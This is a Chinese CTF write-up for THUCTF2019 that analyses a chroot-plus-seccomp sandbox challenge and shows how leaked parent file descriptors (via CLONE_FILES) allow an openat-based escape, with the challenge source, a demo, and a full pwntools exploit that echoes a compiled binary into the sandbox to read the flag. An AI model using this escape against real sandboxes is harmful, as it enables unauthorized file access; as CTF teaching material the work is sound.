[chroot+seccomp逃逸] THUCTF2019 之 固若金汤

题目分析

附件为一个源码, 其中注释我都写好了, 主要就讲关键的知识点.

#define _GNU_SOURCE#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sched.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <seccomp.h>
#include <linux/seccomp.h>
#include <openssl/md5.h>
#include <sys/resource.h>int main(int argc, char **argv)
{MD5_CTX ctx;char md5_res[17]="";char key[100]="";char sandbox_dir[100]="/home/ctf/sandbox/";char dir_name[100]="/home/ctf/sandbox/";char buf[0x11111] ,ch;FILE *pp;int i;int pid, fd;setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);/*struct rlimit 结构体定义了一个资源限制。它包含两个字段:rlim_cur: 当前资源限制。rlim_max: 最大资源限制。struct rlimit {__kernel_ulong_t rlim_cur;__kernel_ulong_t rlim_max;};*/struct rlimit r;// 设置进程的核心文件大小限制为 0// 这意味着进程在发生段错误时不会生成核心 core 文件r.rlim_max = r.rlim_cur = 0;setrlimit(RLIMIT_CORE, &r);memset(key, 0, sizeof(key));printf("input your key:\n");read(0, key, 20);// 对 key 进行 md5, 结果保存在 md5_res 中MD5_Init(&ctx);MD5_Update(&ctx, key, strlen(key));MD5_Final(md5_res, &ctx);for(int i = 0; i < 16; i++) sprintf(&(dir_name[i*2 + 18]), "%02hhx", md5_res[i]&0xff);printf("dir : %s\n", dir_name);printf("So, what's your command, sir?\n");for (i=0;i<0x11100;i++){read(0, &ch, 1);if (ch=='\n' || ch==EOF){break;}buf[i] = ch;}// 创建一个进程pid = syscall(__NR_clone, CLONE_NEWNS | CLONE_NEWPID | CLONE_NEWUSER | CLONE_FILES | CLONE_NEWUTS | CLONE_NEWNET, 0, 0, 0, 0);if (pid) {if (open(sandbox_dir, O_RDONLY) == -1){perror("fail to open sandbox dir");exit(1);}if (open(dir_name, O_RDONLY) != -1){printf("Entering your dir\n");if (chdir(dir_name)==-1){puts("chdir err, exiting\n");exit(1);}}else{	// dir_name 不存在的话则进行创建并配置相关信息printf("Creating your dir\n");// 创建一个目录mkdir(dir_name, 0755);printf("Entering your dir\n");// 进入 dir_name 目录if (chdir(dir_name)==-1){puts("chdir err, exiting\n");exit(1);}// 创建相关文件夹mkdir("bin", 0777);mkdir("lib", 0777);mkdir("lib64", 0777);mkdir("lib/x86_64-linux-gnu", 0777);// 复制相关文件到当前工作目录下的文件夹中system("cp /bin/bash bin/sh");system("cp /bin/chmod bin/");system("cp /usr/bin/tee bin/");system("cp /lib/x86_64-linux-gnu/libtinfo.so.5 lib/x86_64-linux-gnu/");system("cp /lib/x86_64-linux-gnu/libdl.so.2 lib/x86_64-linux-gnu/");system("cp /lib/x86_64-linux-gnu/libc.so.6 lib/x86_64-linux-gnu/");system("cp /lib64/ld-linux-x86-64.so.2 lib64/");}char uidmap[] = "0 1000 1", filename[30];char pid_string[7];sprintf(pid_string, "%d", pid);// filename 为 /proc/pid/uid_map// 文件包含了当前进程的 UID 映射信息// 格式为: <inside-uid> <outside-uid> <count>// <inside-uid> 是进程内部的 UID// <outside-uid> 是进程外部的 UID// <count> 是映射的 UID 的数量sprintf(filename, "/proc/%s/uid_map", pid_string);fd = open(filename, O_WRONLY|O_CREAT);// 写入 0 1000 1// 表示进程内部的 UID 0 映射到进程外部的 UID 1000// 这意味着进程在容器内部的 UID 为 0,但在容器外部的 UID 为 1000if (write(fd, uidmap, sizeof(uidmap)) == -1){printf("write to uid_map Error!\n");printf("errno=%d\n",errno);}exit(0);}sleep(1);// entering sandboxif (chdir(dir_name)==-1){puts("chdir err, exiting\n");exit(1);}// 更改当前目录为该进程的根目录if (chroot(".") == -1){puts("chroot err, exiting\n");exit(1);}// set seccomp// 设置沙箱, 杀了 mkdir, link, symlink, unshare, prctl, chroot, seccomp 系统调用scmp_filter_ctx sec_ctx;sec_ctx = seccomp_init(SCMP_ACT_ALLOW);seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(mkdir), 0);seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(link), 0);seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(symlink), 0);seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(unshare), 0);seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(prctl), 0);seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(chroot), 0);seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(seccomp), 0);seccomp_load(sec_ctx);// 执行命令, 管道只能写pp = popen(buf, "w");if (pp == NULL)exit(0);pclose(pp);return 0;
}

总的来说功能就是用户输入一个 key, 然后对其进行 md5, 用此作为路径名设置沙箱, 在沙箱中可以执行一条 shell 命令.

漏洞分析

 漏洞主要在下面这句代码.

 pid = syscall(__NR_clone, CLONE_NEWNS | CLONE_NEWPID | CLONE_NEWUSER | CLONE_FILES | CLONE_NEWUTS | CLONE_NEWNET, 0, 0, 0, 0);

可以看到其设置了 CLONE_FILES 标志, 这表示父子进程共享文件打开表. 而题目在父进程中打开了以下三个文件并且没有关闭:( 这里目录统称为文件

1) /home/ctf/sandbox/

2) /home/ctf/sandbox/md5(key)

3) /proc/pid/uid_map

其对应的文件描述符依次为3, 4, 5. 所以可以利用 openat 函数进行逃逸:

#include <fcntl.h>
int openat(int dirfd, const char *pathname, int flags, ...);
  • dirfd 是要打开文件的目录的文件描述符。
  • pathname 是要打开的文件的路径名。
  • flags 是打开文件的标志。

 所以这里如果我们设置 dirfd 为 3, 然后 pathname 使用 ../../ 进行目录穿越即可完成逃逸

这里有个 demo:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <sys/resource.h>int main(int argc, char** argv, char** envp)
{FILE* pp;int pid;pid = syscall(__NR_clone, CLONE_FILES|CLONE_NEWNS|CLONE_NEWPID|CLONE_NEWUSER|CLONE_NEWUTS|CLONE_NEWNET, 0, 0, 0, 0);if (pid){open("/tmp", O_RDONLY);printf("1 Pid: %d\n", getpid());printf("2 Child Pid: %d\n", pid);sleep(30);exit(0);}sleep(1);printf("3 Child pid: %d\n", getpid());pp = popen("echo '4 Pid: '$$;sleep 100", "w");if (!pp) exit(0);pclose(pp);return 0;
}

可以看到4个进程中都存在 3 这个文件描述符并且指向同一位置 

漏洞利用

在漏洞分析阶段, 我们已经提出了利用方式, 即通过 openat 配合父进程"遗留"的文件描述符实现逃逸.

但是这里就存在一个问题了, 在题目分析中已经说了, 最后我们只能通过 popen 去执行一个 shell 命令. 而原则上题目只给了 bash, chmod, tee 三个 shell 命令. 而我们最后是要利用 openat 打开 flag文件进行读取输出, 所以我们像 kernel pwn 那样上传一个 exp 然后执行. 那么如何将 exp 写入文件呢? 在 kernel pwn 中我们都是通过 echo 来完成的. 这里有 echo 吗? 答案是有的, 别忘了内建命令.

看看 gpt 的回答: 

  • 可用性不同:内建命令在所有 Linux 系统上都可用,而非内建命令则需要安装相应的软件包才能使用。

而我们可以通过 type 去简单判断一下是否是内建命令. 比如:

本地复现

修改代码为如下代码: 注: 这里仅仅为了本地复现而已, 所以把 seccomp 给删了:(因为我虚拟机没下

#define _GNU_SOURCE#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sched.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <sys/stat.h>int main(int argc, char **argv)
{char sandbox_dir[100]="/home/xiaozaya/rubbish/fx/sandbox/";char dir_name[100]="/home/xiaozaya/rubbish/fx/sandbox/511721";char buf[0x11111] ,ch;FILE *pp;int i;int pid, fd;setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);struct rlimit r;r.rlim_max = r.rlim_cur = 0;setrlimit(RLIMIT_CORE, &r);printf("dir : %s\n", dir_name);printf("So, what's your command, sir?\n");for (i=0;i<0x11100;i++){read(0, &ch, 1);if (ch=='\n' || ch==EOF){break;}buf[i] = ch;}pid = syscall(__NR_clone, CLONE_NEWNS | CLONE_NEWPID | CLONE_NEWUSER | CLONE_FILES | CLONE_NEWUTS | CLONE_NEWNET, 0, 0, 0, 0);if (pid) {if (open(sandbox_dir, O_RDONLY) == -1){perror("fail to open sandbox dir");exit(1);}if (open(dir_name, O_RDONLY) != -1){printf("Entering your dir\n");if (chdir(dir_name)==-1){puts("chdir err, exiting\n");exit(1);}}else{printf("Creating your dir\n");mkdir(dir_name, 0755);printf("Entering your dir\n");if (chdir(dir_name)==-1){puts("chdir err, exiting\n");exit(1);}mkdir("bin", 0777);mkdir("lib", 0777);mkdir("lib64", 0777);mkdir("lib/x86_64-linux-gnu", 0777);system("cp /bin/bash bin/sh");system("cp /bin/chmod bin/");system("cp /usr/bin/tee bin/");system("cp /lib/x86_64-linux-gnu/libtinfo.so.6 lib/x86_64-linux-gnu/");system("cp /lib/x86_64-linux-gnu/libdl.so.2 lib/x86_64-linux-gnu/");system("cp /lib/x86_64-linux-gnu/libc.so.6 lib/x86_64-linux-gnu/");system("cp /lib64/ld-linux-x86-64.so.2 lib64/");}char uidmap[] = "0 1000 1", filename[30];char pid_string[7];sprintf(pid_string, "%d", pid);sprintf(filename, "/proc/%s/uid_map", pid_string);fd = open(filename, O_WRONLY|O_CREAT);if (write(fd, uidmap, sizeof(uidmap)) == -1){printf("write to uid_map Error!\n");printf("errno=%d\n",errno);}exit(0);}sleep(1);// entering sandboxif (chdir(dir_name)==-1){puts("chdir err, exiting\n");exit(1);}if (chroot(".") == -1){puts("chroot err, exiting\n");exit(1);}pp = popen(buf, "w");if (pp == NULL)exit(0);pclose(pp);return 0;
}

exp 如下:

import os
from pwn import *
import codecsio = process("./pwn")code = '''
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
int main(){char buf[20]={0};int fd = openat(4, "../flag", 0);read(fd, buf, 100);write(1, buf, 0x20);printf("Good !\\n");
}
'''a = open('exp.c','w')
a.write(code)
a.close()
os.system("gcc exp.c -o exp")
b = open("./exp", "rb").read()
b = codecs.encode(b, "hex").decode()
c = ""
for i in range(0,len(b),2):c += '\\x'+b[i]+b[i+1]
payload = 'echo -e "'+c+'"'+'> exp;chmod +x exp; ./exp'
print("[+] length: " + hex(len(payload)))io.recv()
io.sendline(payload)
io.recv()
io.interactive()

 效果如下:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/215316.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2023年【山东省安全员C证】考试试卷及山东省安全员C证考试试题

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 2023年【山东省安全员C证】考试试卷及山东省安全员C证考试试题&#xff0c;包含山东省安全员C证考试试卷答案和解析及山东省安全员C证考试试题练习。安全生产模拟考试一点通结合国家山东省安全员C证考试最新大纲及山东…

excel自己记录

1、清除换行符号 2、添加特殊符号&并清除换行符号 7日&15日&30日&60日 3、判断单元格最后一个字符是不是数字&#xff0c;不是就删掉 IF(ISNUMBER(--RIGHT(B2,1)),B2,SUBSTITUTE(B2,RIGHT(B2,1),"")) ISNUMBER(--RIGHT(B2,1))判断最右边的一个数是否…

【C语言】函数(四):函数递归与迭代,二者有什么区别

目录 前言递归定义递归的两个必要条件接受一个整型值&#xff08;无符号&#xff09;&#xff0c;按照顺序打印它的每一位使用函数不允许创建临时变量&#xff0c;求字符串“abcd”的长度求n的阶乘求第n个斐波那契数 迭代总结递归与迭代的主要区别用法不同结构不同时间开销不同…

DataFunSummit:2023年现代数据栈技术峰会-核心PPT资料下载

一、峰会简介 现代数据栈&#xff08;Modern Data Stack&#xff09;是一种集合了多种技术和工具的软件基础设施&#xff0c;旨在更好地管理和处理数据&#xff0c;并为企业提供数据驱动的洞察和决策。包含以下几个组件&#xff1a;数据采集、数据处理、数据存储、数据查询和分…

数据结构-归并排序+计数排序

1.归并排序 基本思想&#xff1a; 归并排序是建立在归并操作上的一种有效的排序算法,该算法是采用分治法的一个非常典型的应用。将已有序的子序列合并&#xff0c;得到完全有序的序列&#xff1b;即先使每个子序列有序&#xff0c;再使子序列段间有序。若将两个有序表合并成一个…

【电子通识】为什么说做产品不是简单的将不同的技术进行搭积木?

很多人说做产品的硬件工程师&#xff0c;其实就是将专项技术工程师已经调好的模块进行拼接。类似于小孩将积木搭成一个房子的形状&#xff0c;虽然不同人搭的房子风格迥异&#xff0c;但所使用的原材料却都是一样的。 首先我并不同意这种看法&#xff0c;原因是产品工程师是需要…

C语言之strstr函数的使用和模拟实现

C语言之strstr函数的模拟实现 文章目录 C语言之strstr函数的模拟实现1. strstr函数的介绍2. strstr函数的使用3. strstr的模拟实现3.1 实现思路3.2 实现代码 1. strstr函数的介绍 函数声明如下&#xff1a; char * strstr ( const char * str1, const char * str2 ); strs…

C#,《小白学程序》第二课:数组,循环与排序

1 什么是数组&#xff1f; 数组 Array 是一组数值&#xff08;数 或 值&#xff09;。 int[] a; int[,] b; int[][] c; Anything[] d; 都是数组。 2 排序 排序就是按大小、名字、拼音或你指定的信息进行比较后排队。 排序是数组最基本的功能需求。 3 文本格式 /// <summa…

游览器缓存讲解

浏览器缓存是指浏览器在本地存储已经请求过的资源的一种机制&#xff0c;以便在将来的请求中能够更快地获取这些资源&#xff0c;减少对服务器的请求&#xff0c;提高页面加载速度。浏览器缓存主要涉及到两个方面&#xff1a;缓存控制和缓存位置。 缓存控制 Expires 头&#…

acwing算法基础之数学知识--求卡特兰数

目录 1 基础知识2 模板3 工程化 1 基础知识 题目&#xff1a;给定n个0和n个1&#xff0c;它们将按照某种顺序排成长度为2n的序列&#xff0c;求它们能排成的所有序列中&#xff0c;能够满足任意前缀序列中0的个数都不少于1的个数的序列有多少个&#xff1f; 输出的答案对 1 0 …

键入网址到网页显示,期间发生了什么?

文章目录 键入网址到网页显示&#xff0c;期间发生了什么&#xff1f;1. HTTP2. 真实地址查询 —— DNS3. 指南好帮手 —— 协议栈4. 可靠传输 —— TCP5. 远程定位 —— IP6. 两点传输 —— MAC7. 出口 —— 网卡8. 送别者 —— 交换机9. 出境大门 —— 路由器10. 互相扒皮 —…

98、Text2Room: Extracting Textured 3D Meshes from 2D Text-to-Image Models

简介 github 利用预训练的2D文本到图像模型来合成来自不同姿势的一系列图像。为了将这些输出提升为一致的3D场景表示&#xff0c;将单目深度估计与文本条件下的绘画模型结合起来&#xff0c;提出了一个连续的对齐策略&#xff0c;迭代地融合场景帧与现有的几何形状&#xff0…